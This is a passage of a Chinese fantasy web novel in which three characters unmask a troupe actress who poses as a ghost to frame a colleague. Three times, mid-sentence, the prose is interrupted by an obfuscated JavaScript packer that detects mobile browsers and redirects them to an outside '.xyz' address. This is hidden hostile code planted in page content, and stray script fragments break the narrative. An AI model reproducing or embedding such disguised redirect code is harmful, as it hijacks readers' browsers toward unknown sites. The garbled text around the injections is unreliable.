长晓没有强求她,也确实是她最初答应与他一同来寒声的。她喜欢遇见各种新事情,也喜欢与长晓相处的时候收获的新见识。 但其实,长晓和她都意识到,两个人捆绑在一起后,长晓的生活照常,但她的生活却深深被影响了。 她本是一个游走于市井之间的普通姑娘,不应该耗费自己的心神在民生大事、家国大业上。她没这个志向,也没这个责任。她做不到以天下为己任,也知道自己没有这么伟大。 虽然长晓没有彻底摊牌,但她当然知道,有人在背后跟长晓斗,而且寒声城这场戏,大约就是刻意为长晓而设。被愚弄和利用的百姓、以及被矛头直指的常绫,都是一个个棋子,目的是为了试探长晓的反应。 长晓的背后是什么,到底是谁在和谁斗,斗的目的是什么,究竟涉及了多少不能对外说的事情,本都与她毫无关系。但如今,她与长晓生活在一起,便无可选择地卷入了这场风波之中。她想彻底撇清,想保持自己那颗永不涉政的初心,实在是太难了。更何况,常绫这件事就摆在她面前,她做不到无动于衷。 可是,长晓说得很对。这不是她本应有的生活。她从来没想过有朝一日,自己去到藏书阁待上一整天,竟是为了去了解当今的政局形势,以便于更好地分析遇上的问题所在。 她不惹事,但事情总会一件一件找上她。 听完长晓所说,她甚至有点想哭。她不知道为什么会有这种感受,却知道自己不是因为累,不是因为伤心,而是大约知道了,自己终将面临一个什么取舍。有些事情不可兼得,而她注定要与什么东西擦肩而过。 而长晓,很明显也是忍痛说出那番话的,具体他的痛处,文落诗也想不通,不敢想。 太复杂了。太荒唐了。 泡在浴桶里,她认认真真洗了头发,抬起头时,她竟一时间分不清,脸上流下的是水珠,还是不知何时出现的泪珠。 这天晚上她睡得并不好。 翌日的大清早,常绫又来了。 文落诗见到她的那一刻,就知道定是又出事了。 常绫双眼中布满血丝,下方有黑色厚重的眼袋,一看就是一晚上没睡好觉,比自己要憔悴太多了。 “出什么事了?”文落诗问道。 常绫嘴唇在颤抖着,仿佛受了巨大的惊吓: “我的住处,闹鬼了。” 38. 寒声不解戏中人 文落诗瞬间清醒:“你说什么?” 常绫扑进她怀里:“呜呜呜呜呜我床边有鬼……有鬼来我房间里……” 长晓从屋中走出,十分震惊:“可是昨夜之事?” 常绫呜咽着把头埋在文落诗怀里,使劲点了点。 文落诗和长晓都是刚起床,常绫一来,两人都将昨天晚上的种种抛之脑后,对看一眼,明白了事态的异常。 待常绫慢慢平静下来后,她抽噎着,一喘一喘,给两人讲了昨夜之事。 昨日,常绫回到院子里,本没有任何异常。她该做什么就做什么,偶然有人碰上她,问她今日有没有见到总管事,她就说没见到,也没人起疑。总之,没人发现总管事失踪一事。 讲到这里,长晓看了一眼常绫,罕见地插了一句话。他说,这可以确定一件事,就是有人在戏班里配合行事。简单来说,就是有内应这件事,八.九不离十了。 后来,这场平静终究没有撑过晚上。常绫半夜二更三更之间,听到屋里有动静,好像风摩擦纸张的声音。她说,她睡觉很老实,但凡能把她吵醒了,声音一定不小了。她恍惚间睁开眼,隐隐约约看到视野里的左侧,也就是她的床边,似乎有一团粉影。 她心脏骤停了半拍,一直望着天花板,没敢转头。 直到她视线完全变清晰了,被窝里的手也做好了施法的姿势,她猛地一下向左转身—— 看到一个巨大的鬼,正趴在自己的床边! 那鬼说是鬼,但其实也人模人样的,像个认真打扮过的女娃娃。她头上顶着孩童般的两个发髻,身后浓密的黑发蓬松下垂,甚至脑门上挂着个齐头帘,头帘下还有个花钿。只不过,仔细一看,那花钿根本不是花钿,而是一团妖艳的花型血管,从裂开的皮下挤出来,正流淌着滚滚墨绿色的血液。 那鬼是个皮包骨架,双眼就是两个黑溜溜的洞,洞上方两个单薄的眼皮耷拉着,随着鬼的摇头晃脑而摆动。 她龇牙咧嘴一笑,露出一口犬牙般的牙齿,大大小小、高高低低交叉在一起,还比正常人的数量要多,显得凌乱而密集。 偏偏,她头上精细地簪着粉艳的鲜花,耳朵上认真地带着人指甲盖做的耳坠,身上,哦不,那层干枯的黄皮上,老老实实地套着一条粉色的罗裙。如今,她乖乖趴在床边,粉色罗裙的裙角自然在地上摊开。她用只剩骨架的一双手戳了戳床,关节摩擦的声音毫无规律地传来。 看到常绫转头,那鬼动了动坐久了的腿脚,脑袋一歪:“呀,看到我了?” 常绫与她对视片刻,满脑子空白,待反应过来的那一刻,已经不受控制地“啊啊啊”大叫出来。 这还没结束,那鬼意识到自己被发现了,迅速化作一团粉烟,消失在屋中,只留下床帘晃动。 紧接着,窗户纸后面亮起来一阵光,这光带着淡淡的粉色。突然,几个幢幢人影在窗户纸后面飘忽而过,又飘回来,左右来来回回,还时不时停下,像是在议论着什么。 常绫的手紧紧地抓着被子,害怕得要命,却不得不继续看下去。若是此刻闭上眼,跟掩耳盗铃没什么区别。 倏忽间一阵狂风刮过,这风中夹在着某种草药的味道,吹开了屋子的门,也吹得常绫满头青丝飞舞,久久睁不开眼睛。待她重现睁眼,屋外已经恢复了平静。她双腿发软,火急火燎下床,跑去门外一看,院子里静得可怕,仿佛什么也没发生过。 “大概就是这样,后半夜我一直没睡,但鬼也没再来过。”常绫的手紧紧攥着一个茶杯,可指尖还在不停颤抖着。 长晓闭上眼,像是在思考这其中的可疑之处。 整个房间沉默了许久。 半晌,文落诗忽然道:“你刚刚说,那趴在床边的鬼消失之时,是一团粉烟?” 长晓“唰”地一下睁开眼。 常绫顶着沾满泪珠的眼眶,缓缓抬头:“对,屋里本是黑的,所以那团烟的颜色极为清晰。” “我的意思是,这恐怕是个线索。”文落诗给长晓递了个眼神。 “常绫姑娘,你觉得这情形,是真的有鬼从鬼界跑来魔界?”长晓毫无压力地接过文落诗的眼神,把话题顺上。 常绫很认真地想了想:“鬼一般不能随意离开鬼界的吧?” 文落诗浅笑着点头:“嗯,离开的话,也顶多去人间蒙蒙凡人,到不了这里。” 长晓在一旁,很自然地打趣道:“若是你不信,我倒是可以去趟鬼界,找鬼帝帮忙查查,有没有出逃的鬼。不过,估计什么也查不到。” 文落诗闻言,抬眸,淡淡看向长晓:“你面子可真够大的。” 长晓一愣:“这不是重点。” 文落诗收回眼神,懒得理他。 常绫好像明白了什么,手中茶杯不再抖动:“所以,你们的意思是……” “这件事,大概是谁在扮作鬼吓唬你。而究竟是谁,其实也不难找,毕竟‘粉烟’是个重要线索。”长晓敛袖提壶,给常绫的杯子里重现倒满茶水。 文落诗趁机用眼神指了指自己的茶杯。长晓笑着摇摇头,又给她倒上一杯。 常绫也清醒了很多:“粉烟,就意味着,我身边的所有不是露烟道的人,都排除了嫌疑。” “是这个意思,”文落诗拍了拍常绫的后背,“而且,大概就是你们戏班里的自己人,因为几乎没有外人知道你们戏班的位置,还能精准找到你的房间。” “万一是有人故意往外传话,找来的外人扮鬼呢?”常绫双眼疲惫。 “不排除这种可能,但我觉得,这种还得耗时耗力去找人,几率很小。”长晓道。 “即使那样也好办,”文落诗傲然抬头,右嘴角轻蔑一扬,“那就把传话的人,一并抓了就行。” * 傍晚,文落诗随常绫一起回到院落中。长晓则找了个暗处休息,没有露面。 常绫挽着文落诗的胳膊,正打算进屋,忽然听到背后有人叫她: “常绫,这位是谁?” 文落诗回头,一看来人正是朱紫。为了装作并不认识她,文落诗立刻摆出笑脸相迎的样子:“呀,这位魔娘好生漂亮,明眸善睐,亭亭玉立,气质如此出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761498|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘。”她转头看向常绫,装作惊喜的样子,问道:“你们班中的人都这么漂亮吗?” 朱紫被她这番突如其来的夸赞整得一愣。文落诗偷偷瞄了眼她的脸色,暗道自己稳了。 常绫在一旁笑道:“这位是朱紫姐姐,就是上一场戏里的女主角。” 文落诗很顺口地应和道:“这真是太可惜了,我没去看戏,没目睹当然朱紫姑娘的风华,不过今日见到了,也算是一饱眼福。” 朱紫发现,她俩一唱一和,自己竟然插不上话。 文落诗心想,插不上话就对了,本来就没想让你说话。 常绫继续道:“朱紫姐姐,我今天在外,难得碰上一位故友,近日戏班演出火热,她找不到落脚之处,我就请她来我屋里叙叙旧了。” 文落诗点头:“你们这院子真的够清净的,一看戏班之内就是和和气气,不吵不闹的。” 常绫笑得甜蜜:“文姐姐,那你过几天走后,可不许把我们的院子位置告诉别人哦。不然就不清净了。” 文落诗答应得干脆:“那当然了,我感谢你收留我还来不及,怎么可能故意泄露你们的位置给别人,扰了你们清净。” 朱紫啊,你关心的事情,无非就是怎么来外人了呗。我俩可都说完了。还有事吗?没事就走人吧。不管你想问什么,就别问了。 常绫依旧不给朱紫开口的机会:“走了,天色不早了,外面冷,进屋聊。”说着,她也不看朱紫,拉着文落诗就回身向屋门出走去。 文落诗装模作样回了个头:“朱紫姑娘,你也快回去吧,千万别冻着。” 直到屋门关上,朱紫目瞪口呆,也没插上一句话。 常绫靠在屋门上,重重地送了一口气。 文落诗手急眼快,在屋子中设好结界,保证外面听不到里面说话。 “她怎么会这时候来找你?” “谁知道呢。” “不对劲,这个时间有些太巧了,倒像是她一直盯着你,看你有没有回来。” 常绫瘫在床上:“你说得不无道理,但是她自从红了之后,就一直针对我,虽然没有明面上,但少不了暗地里挖苦。所以,她只是碰巧来找我什么事,也说不定。” 文落诗也学着常绫的样子,瘫在床的另一端:“她要是真有事,一定要找你的话,刚刚一定会在你进门的时候叫住你。” “对哦,”常绫举起双臂,在空中胡乱摆动着:“她不一定有事,但想抓我错处,倒是确有其事。” “街上全是追捧她的人,她还需要再抓你错处?”文落诗翻了个身,“你这个床倒是挺舒服的,晚上我睡你旁边。” “那可不,毕竟这个戏班可是当年我们几个人一手创立的……”说到此处,常绫罕见地沉默了一会,“当时贠莫还在。后来她们走的走,散的散。” 文落诗刚准备开口接着问,忽然一道蓝光在眼前闪现。 她懒得坐起来,就稍稍扬了扬头,见长晓一脸生无可恋地样子,正看向自己。 只因为,如今她和常绫,横七竖八地瘫在床上。 39. 寒声不解戏中人 “你也过来休息一会儿?”文落诗想都没想,说道。 常绫闻言,瞬间转过头,诧异地看着文落诗,见她没什么异常,干脆自己坐起来下床了。 “长晓,这边有椅子,你坐。” 常绫彻底收起了方才百无聊赖的模样,老老实实坐到了木桌前。 长晓一副懒得管文落诗的神情,转头和颜悦色对常绫道:“方才有个姑娘,在外面徘徊了很久,像是想听屋里的动静,奈何她听不到,就转头走了。” “果然,”文落诗躺在床上说,“常绫你说得没错,她就是想抓你的错处,但她在我的防御之下,无从下手。” 说到这里,文落诗忽然想到,长晓偏偏一点动静都没有,就穿过她的结界进来了。 她躺着瞥了长晓一眼,见长晓目光一寸不离地看着她,好像在说,是啊,那我是怎么进来的呢? 文落诗嘴角抽了一下。 算了,知道你比我修为高了,懒得搭理你。 常绫把刚刚跟文落诗的对话,给长晓简要复述了一遍,告诉他朱紫是谁。 待她语毕,文落诗接着问道:“如今呢?你们戏班里,最初那些人里,就剩下你一个了?” 长晓实在看不下去了:“你能不能坐起来好好说话?” 文落诗:“不能,好不容易碰到一个极舒服的床,我要躺着。” 长晓:“……” 常绫其实早就看出来了,长晓对文落诗的态度似乎不太对劲,但是因为不确定文落诗怎么想,她也没多说。此刻,她装作没听见,把话题继续下去。 “还有一个寒芦,就剩下我们两个人了。其实寒芦都不是最早那一批人,她是后来才来的。最早那会儿,都是贠莫写的戏折子。后来一堆乱七八糟的事情,贠莫走了,余峥来了。可能因为寒芦比较顺余峥的眼吧,她当上了小管事。如今对外宣称的剧作家是她,她名声也不小,但其实基本没人知道,大多数戏折子都是以前贠莫写的,她只是后来在贠莫基础上加了点东西而已,有的甚至没加。” 文落诗听着,觉得新奇,于是缓缓从床上坐起身,伸了个大懒腰。 “总算知道起来了。”长晓垂眸,看都不看她一眼。“常绫姑娘,我记得你之前提过,除了已经不在班中的贠莫,没人知道班主是谁。” “对,是这样的。”常绫点头。 “我在想,这几天的事,会不会和你们班主有关。”长晓低声道。 “不太会吧?”常绫想了想,“贠莫当时跟我说,她一个朋友,听说她有组建戏班的想法,决定在背后扶持她,但是她这个朋友,也就是我们班主,曾跟贠莫保证过,自己只在背后出资,绝不插手任何事情。一切全都是贠莫一手操办的。” “好可惜啊,”文落诗喝了桌上的水,“贠莫听起来为你们付出了不少,但是她如今竟然走了。” 常绫点头:“按照这个逻辑,余峥是贠莫找来的接替她的,所以余峥跟我们班主并不认识。所以,这个思路就断了。” “等一下,”文落诗神色一凛,“朱紫平常会来找你吗?” 常绫想了想,摇摇头。 “朱紫这个主角的位置,是余峥安排的?” 常绫毫不犹豫点头:“他可捧朱紫了。” “就怕她不只来抓你错处的。”文落诗神色严肃起来。 长晓也是这样想:“落诗的意思是,朱紫怕是跟这件事有很大关系。” 常绫愣住:“就因为她刚刚来找我?” 文落诗给了长晓一个肯定的眼神,接着对常绫道:“几天前,余峥进屋对你骂骂咧咧之前,我和长晓就在屋外守了很久了。我们看到了你碰上朱紫,也看到了她刁难你。” 长晓补充道:“所以,她是除了你之外,唯一一个在两次出现在案发现场的人,而且出现的时间都很巧。我倒是觉得,她有可能是那个通风报信之人。” 常绫震惊:“这不可能吧,她只负责演戏而已。” 文落诗脑海中突然又冒出一个念头:“若是她通风报信,那她必定知道余峥已经不在院内了,而她又知道余峥的事跟你相关,所以她来找你,怕是要栽赃陷害。我方才若是不在你身边,没准她就直接动手了。” 常绫听得一愣一愣的,半天没说出话。 长晓也想到什么,看向文落诗的眼神更加深邃:“但是,刚刚她看到你了,若是真的想栽赃余峥消失一事,你恐怕是更合适的人选。” 常绫这回听懂了:“一石二鸟,落诗是我带回来的,如果让别人认为余峥消失是落诗动的手,我也跟着一起遭殃。” “行啊,”文落诗眼珠流转,嘴角处浮起一丝冷笑,“咱们能想到的,她也肯定能想到,那就让她来提,我倒要看看她背后是谁。” 长晓看着文落诗野心勃勃的样子,有些无奈,提醒道:“天色不早了,晚上还要抓鬼。” “对哦!”文落诗和常绫同时发出惊叹。 “一会儿把结界撤了,方便晚上‘鬼’进来。” 文落诗颔首。 “先别着急动手,看看情况。” “好,落诗在我身边,我一点都不害怕。”常绫十分有安全感。 文落诗最爱听这话了,顿时喜笑颜开。 “长晓,你就一直在屋外?”她开心之余,想起了长晓。 “嗯,你们不用管我,就当我不在,该怎么睡就怎么睡。”长晓答道。 如此,文落诗便放心了,和常绫一起收拾收拾,准备睡觉。 * 夜色压下来的时候,院子里的树枝轻微动了动。 今晚月色皎洁,可这亮光中却带着一丝阴气。一朵淡淡的云慢慢迈开步走来,给月亮遮遮掩掩,让人看不出这之下的不对劲。 文落诗收了房屋的结界,躺在常绫身边,跟常绫挤在一个被子里,双眼直直地看着天花板。 “气氛都酝酿成这样了,这鬼怎么还不来啊。”她实在无聊透顶了,给常绫传音道。 而常绫双眼紧闭,在努力装睡,一听文落诗给她传音,双眼刷啦睁开。 “按理说,昨夜她来的时间,比现在要早多了啊。” 文落诗脑子里迷迷糊糊,却意外浮现了一个想法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14770287|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你说,这个鬼,不会是知道我来了,所以今晚不来了吧?” 常绫不解:“她怎么可能知道你今晚在这里?” 文落诗看了看四周,漆黑一片,毫无动静。这黑夜给了她足够的思考空间,此刻,她觉得自己想明白了。 “鬼确实不应该知道我在这里,可是,有一个人知道啊。” 常绫在被子里翻了个身,身子朝文落诗侧过来,面露惊讶。 果不其然,这一夜十分宁静,毫无声息,直到天亮。 长晓回到屋中时,文落诗睁着眼睛,常绫却在打瞌睡。 文落诗朝他做了一个“嘘”的手势,然后蹑手蹑脚下床,给常绫把被子盖好。 “昨夜是不是没有鬼来?”长晓开门见山。 “没错,安静得不正常。”文落诗回答完,才忽然想到,自己是不是又一次刚从床上起来,头发乱蓬蓬地来到了长晓面前。 见她面色顿住,略露尴尬之色,长晓闭上眼摇摇头:“我又不是第一次见你刚起的样子了。” “你在外面守了一晚上,辛苦了。”早就顾不上自己的形象了,文落诗见长晓眼睛里涌出一根血丝,觉得十分心疼。好像这么多年,她自诩凉薄之极,从来没有为任何旁人的劳累而感到心疼。所以,看到长晓的眼睛那一刻,她也无法解释,这股情绪是怎么上来的。 大概,冷漠和凉薄,是她最好的防守。她把自己的内心锁起来,不允许自己为别人而难过,才能活得好一些。毕竟,她心疼别人的时候,谁来心疼她呢? 这些年来,她习惯了冷漠,习惯到自己都信以为真了,以为自己就是一个自私自利、不问尘世的人。直到遇见长晓,她才意识到,自己真的不是这样的人。她无法做到在受害者面前无动于衷,也无法要求自己不为别人而产生情绪。 “你也熬了一晚上没睡,咱们一样,不用心疼我。”长晓见她眼神中充满心疼之意,自己的心一下子软下来,别开头去,不敢再直视她。 文落诗把自己的头发和身上的衣服折腾完后,常绫也睡醒了。 得知昨晚确实没有‘鬼’到访,三人交换了眼神,得出相同的猜想。 “那么接下来,”文落诗心生一计,浅浅笑道,“就得麻烦常绫拿出看家本领,陪我演场戏了。” * 文落诗耷拉着眼眸,推开门去,果然看到院子里堆满了人。 朱紫站在所有人的最前面。 一点都不意外,就应该是这样。 朱紫啊,我一个写话本的,这种大早上登门兴师问罪的情节,简直对我来说是信手拈来,你不会真的以为我想不到吧? 可她依旧装出一副刚睡醒的样子,假意被眼前乌泱泱的人群吓到了。 “呀,朱紫姐姐,你这是来找常绫吗?” 朱紫面若冰霜,沉沉开口:“总管事失踪了,而且是在文姑娘昨日到访之后才失踪的。我们只是前来问问,文姑娘可曾见过我们戏班的总管事?” 文落诗睁大了眼睛,不可置信地看着朱紫:“不会吧,昨天晚上的鬼,把你们总管事抓走了?” 40. 寒声不解戏中人 “你说什么?”朱紫本是来给文落诗定罪的,却是怎么也没想到,文落诗一上来就说出这么句话。 “太可怕了,昨天晚上常绫这间屋子闹鬼了,我和她一晚上都几乎没睡。”文落诗懒懒伸出手指,戳了戳自己方才用深色的水粉涂上的黑眼圈。 院子里堆满了人,一看就是朱紫把戏班的大多数人全叫来了。文落诗此话一出,群众哗然。怕的怕,叫的叫,还有互相搂在一起,全身颤抖的。 文落诗见状,毫不犹豫再加一把火:“那个鬼就趴在床边,笑嘻嘻地看着我和常绫,龇牙咧嘴,哦对,两只眼睛也被挖了,就剩下两个黑洞在晃悠着,然后她忽地一闪,去到了窗外,叫来了一群鬼,隔着窗户叽叽喳喳,在商量我和常绫能不能吃……” 反正她昨天晚上也没见着鬼,就把常绫之前说的那些添油加醋了一番,随口一说。 院子里传来此起彼伏的“啊”声,有人已经堵住耳朵不敢再听了,有人已经想往院子外面跑了,也有人怯生生地问了一句:“朱紫姐姐,怎么办啊,闹鬼了。” 朱紫整个人都懵了。她万万没想到,今日捉拿文落诗不成,被她反将一军。她深深地看了眼文落诗。 昨日见到她,看她这么漂亮,说话也软软绵绵的,朱紫真的以为,这只是个大花瓶,无论是修为还是智谋,都比不上自己分毫。 她主子告诉她,余峥被带走,肯定会有人发现,那就过几天随便找个人,把罪名按上就行了。她本来想直接借此栽赃常绫,而常绫昨日恰好带了外人回来,简直天赐良机,一箭双雕。 可是,她没想到面前这人这么厉害,有某有略的,现在她被打了个措手不及,只能飞速思考如何应对。 就在此时,文落诗颤抖着牙关,可怜兮兮补了一句:“鬼最后没抓走我的常绫,但是,会不会把你们总管事抓走吃了……” “什么?你说什么?”屋门忽然被推开,常绫疯疯癫癫地跑出来,一头撞在文落诗怀里,双目无神,大喊道,“昨天晚上的鬼,把总管事抓走了?” 文落诗心中赞叹,常绫你可以啊,这比我演得好太多了吧? 她盯着常绫那一头故意弄乱的蓬松青丝,用尽所有力气忍住不笑,接着道:“朱紫姐姐说,你们总管事不见了,我还没来得及看看你们总管事长什么样呢啊啊啊。” 常绫声泪俱下:“他这些天是让我多干了不少苦力,一个劲找我茬,但万万罪不致死啊……那个鬼呜呜呜好可怕!” 院中的其他人见二人如此神情,自然是深信不疑,纷纷开始腿软,害怕鬼找上自己。 文落诗见状,忍不住腹诽,你们这个戏班子里的人,心理素质真的太差了吧,一吓一个准。也不动脑子想想,魔界之中,能有鬼跑进来吗? 常绫一直哭哭啼啼,跑到了她几个其他好姐妹身边,可怜兮兮地开始讲述自己“昨夜”的经历,那几个人一个劲地安慰她,却聊胜于无。 文落诗一副受惊的样子,走到朱紫面前,怯生生挽起朱紫的胳膊。 如今院子里已经打乱,自然见无人看向此处。她低下头,用最亲昵的姿势,对朱紫低声道: “若是还不服气,今天晚上你照常来,跟我比比?” 朱紫猛地抬头,不可置信地看着文落诗:“你还知道什么?” 她下意识想后退一步,可文落诗紧紧地箍着她的胳膊,让她分毫挪动不得。 “嗯,”文落诗装模作样思考了一下,“除了不知道你背后的靠山是谁,别的应该都知道了。” 朱紫冷笑一声:“你要是知道了,早就不用活着了。” “嘘——”文落诗好心提醒她,“小点声,别到时候,根本用不着我出力,大家就全知道是你做的了。” 朱紫气得肝疼,又不能表现出来。 文落诗心满意足,松掉她的胳膊,走回屋中。 院子里乱套了,只剩下朱紫一个人生闷气,哪有人注意文落诗什么时候回去的? 常绫余光里瞥见文落诗回屋了,暗道今日目的也达成了,便“好心”提醒周围的人,最近事态诡异,多加防范,特别是晚上,记得给屋子设一层结界。 于是,大家走的走,散的散,不一会,院子里恢复了清净。 长晓其实一直坐在屋里看戏。只不过他修为太高了,没人能发现他的存在。 见文落诗和常绫先后进来,他盯着文落诗的“黑眼圈”,忍不住嗤笑道:“我怎么之前没发现,你这么会演戏啊?” 文落诗说了这么多话,口喝至极,于是端起茶杯一饮而尽,摆摆手:“跟常绫没法比,她是专业的。我是真的哭不出来,她什么都没说,就能直接掉眼泪。” 常绫则是直接往床上一趟:“哭得累死我了。虽然情绪是假的,但是这一把鼻涕一把泪的,都是真的。” 长晓看着在身边坐下的文落诗,眼底笑意翻涌。 他是真觉得,跟文落诗相处的每一刻,都能看到崭新的、鲜活的事物,接二连三地闯进他的视野里,装点了他过去前两千余年平淡无奇的生命。 好像曾经那个将近死去的自己,在逐渐活过来。 “所以呢,确定了?”长晓坐在桌旁,手掌托住下巴。 文落诗点头:“她真是经不起诈。唯一的问题是,她今晚怕是真不来了。怎么抓住她,还要让所有人都知道是她在扮鬼,得再想办法。” 长晓倒是觉得不着急,今日能这么成功,已经很不错了。 文落诗反省道:“是我太心急了,没沉住气,吓唬到她是真的,但堵死了下一步路也是真的。” 常绫从床上坐起来,忽然道:“我刚想到一个问题,如果真的是朱紫扮的鬼,那她办得也太好了点,完全不留痕迹,我也看不出她是谁。” 文落诗也想到了这个问题,脑子转了半天:“听你描述,她像是用了某种术法,完全给自己变了一个形象。” 长晓在一旁扶额思考,缓缓道:“我还真不知道这方面有什么术法。” 文落诗明白了:“行,我今天再去趟藏书阁,找找有什么信息。朱紫这件事不好办,毕竟她对常绫知根知底,我没什么底需要她知道的,但是,我们对她怕是知之甚少。” 长晓也同意:“我也找人去查查。” 常绫忽而看了长晓一眼。 主要是,这个口气,太像一个位高权重的人了。 长晓意识到了什么,补充道:“阿妍比我更熟悉这些市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781977|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 井巷陌中的事情,我让她帮忙看看。” 常绫继续深深地看着长晓。 文落诗抓过常绫的胳膊:“行了,别看了,我都不知道他的底细,你也别好奇了。” 于是,文落诗把脸上的水粉洗干净后,就又跑去了藏书阁,一直待到傍晚才返回。 不过,这次出乎她意料,是无功而返。 “或许问题就出在这里了,”文落诗嚼着常绫准备好的点心,思考着,“按理说,我连远古典籍都翻了,不应该查不到任何东西。但事实就是,没有任何一本书,记载跟幻化成鬼有关的术法。” 常绫不解:“有没有可能,是她自己偷偷修炼的禁术?” 文落诗淡淡地看了常绫一眼,面不改色心不跳,道:“我连禁术的书都翻了,没有。” 常绫双眼睁大,觉得今日刷新了对文落诗的认识。 “别这个眼神,我是靠写文章生活的,什么书没看过。”文落诗一脸坦诚。 门刚好在这时开了,长晓带着一身寒气走进了,刚好听见文落诗这句话。 他先是一愣,随后想到什么,面色一暖:“我都不敢想象,你这些年看过多少不正经的书。” “那是,”文落诗面色十分平静,“多正经的书,和多不正经的书,我全看过。”然后,她凉凉地看了长晓一眼,意思是,行了,这个话题打住,最起码,别当着常绫的面继续了。 长晓回归正题:“我没查到任何消息,你呢?” 文落诗摇头。 长晓叹了口气,正色道:“那就说明,她这种幻化成鬼的术法,并非出自魔族。” 常绫有些震惊,张大嘴巴:“有没有可能,是咱们都不了解,不知道而已?” 文落诗摇头:“阅读量和知识储备这一点,我还是有点自信的。” 长晓也觉得此事不简单:“我的确是这些年第一次听说有人幻化成鬼。” 常绫对长晓没那么了解,但文落诗可是知道这件事的严重性。连长晓都不了解的事,意味着什么,很难想象。 她本想继续就着这件事谈下去,却听长晓道:“常绫姑娘,还有一件事,不知当不当讲。” 常绫坐直了身子,点头。 文落诗有种不好的预感,喝了口水,压压惊。 长晓静了一会,语气有些艰难,皱眉道:“外面的状况,比之前更遭了。” 常绫合上眼。 她这些天收获了铺天盖地席卷而来的谩骂,心理那道防线也在无意中一点一点降低。虽然这些骂她的人,她都不认识,而且她躲在院子里,也可以麻痹自己不去听,但怎么可能面对毫无缘由的诋毁和诽谤而无动于衷呢?文落诗和长晓找到她之前,她其实已经几次动过轻生的念头了。毕竟,比起被全世界攻击,离开这个世界反而是一种解脱。 幸好,她在最难过的时候,也在马上要撑不下去的时候,遇见了面前这两个人。 她知道,哪怕全世界都不站在她这一边了,也会有人永远在她身后。 于是,她长长舒了一口气:“你说吧,我承受得住。” 长晓眼神中充满心酸:“有人已经在城里拉起横幅,说你品行恶劣,从而招来了鬼的报应。” 41. 寒声不解戏中人 文落诗第一个坐不住了,整张脸冷下来:“我真的想不明白,为什么会有这么多人,把攻击别人作为事业。” 长晓也皱眉,摇了摇头。 常绫却是镇定得出奇。文落诗以为她会瞬间掉下眼泪,但她没有。她好端端坐在那里,仿佛自己置身事外,被无端谩骂的人不是她。 表面越是平静,内心越是痛苦。她哭出来还好,此刻毫无动静,才是最危险的。 文落诗坐到了常绫身边,把她搂过来,却听她冷静道:“我知道了,谢谢你告诉我。但是,我觉得这个时间太巧了。” 长晓也没想到常绫这么平静,目光一顿,好半天没接上话。 “是太巧了,而且今天早上刚把闹鬼的事情告诉班中人,下午就街上就开始传了,甚至还有人……特意做了横幅……”文落诗拍了拍常绫的后背,让她的头靠着自己肩膀。 “如果真是朱紫的话,那很可能是她故意放出去的消息。”长晓道。 文落诗的情绪也在翻涌着,但她知道,此刻应尽量让自己保持平静:“我倒是觉得,消息是朱紫传的,但人们接下来做了什么,事情怎么发酵,不是她主导的。” 长晓深深点头:“人群是个很可怕的东西。” 他们三人都知道,这些散发恶意的群体,并非社会上的典型恶人,也并非戏台上的标志性反派。他们不需要坏得纯粹,却以各种身份,出现在世界上的每一个角落中。可惜,人人都可能成为他们之中的一员。 世界上最不缺的就是评价。但评价是否会给别人造成伤害,往往不是人们考虑的范畴。你甚至无法去说,某一个人在使坏,某一个人在恶意评价别人。若是一个人,这很好办,把他揪出,孤立、抹杀,问题就解决了。但面对一群人,甚至所有人,你无法指出这些有意无意的伤害来源于哪里。最可怕的是,社会上还很多人,是故意的施害者,也是无意识的受害者。 凝视和被凝视在生活中处处可循,常见到如呼吸般自然。 常绫平复了很久情绪,才缓缓道:“我知道,朱紫不会有这么大本事。但是,她只需要在民间稍稍一挑拨,就会事半功倍。人们需要找渠道发泄情绪,于是,骂我就变成了一件人人可为的伸张正义的事情。” 文落诗重重点头:“你能想明白这些,已经非常不易了。” 长晓的目光也在闪烁:“如今要做的,是从根源上解决,我们不可能在短时间内把所有恶语相向的人抓起来,但可以先把这个‘鬼’抓到。常绫姑娘,你辛苦了。” 常绫从文落诗肩膀上抬起头:“眼下最关键的,是如何证明朱紫在扮鬼。” 此话一出,三人皆沉寂。他们自己知道这件事很简单,但要让所有人都知道,很难。 片刻后,文落诗忽然道:“常绫,你之前说,那天晚上鬼离开的时候,除了冒出一团粉烟,还有一种草药的气味?” 长晓闻言,瞳孔一缩,抬头, 常绫仔细想了想,颔首道:“对,那股味道很刺鼻,我印象很深,有点像金银花和重楼混起来的味道,若是淡一点,可能还挺好闻的。” 文落诗反应过来:“我今天早上靠近朱紫的时候,也闻到了一股淡淡的味道,和你描述的有些像。” 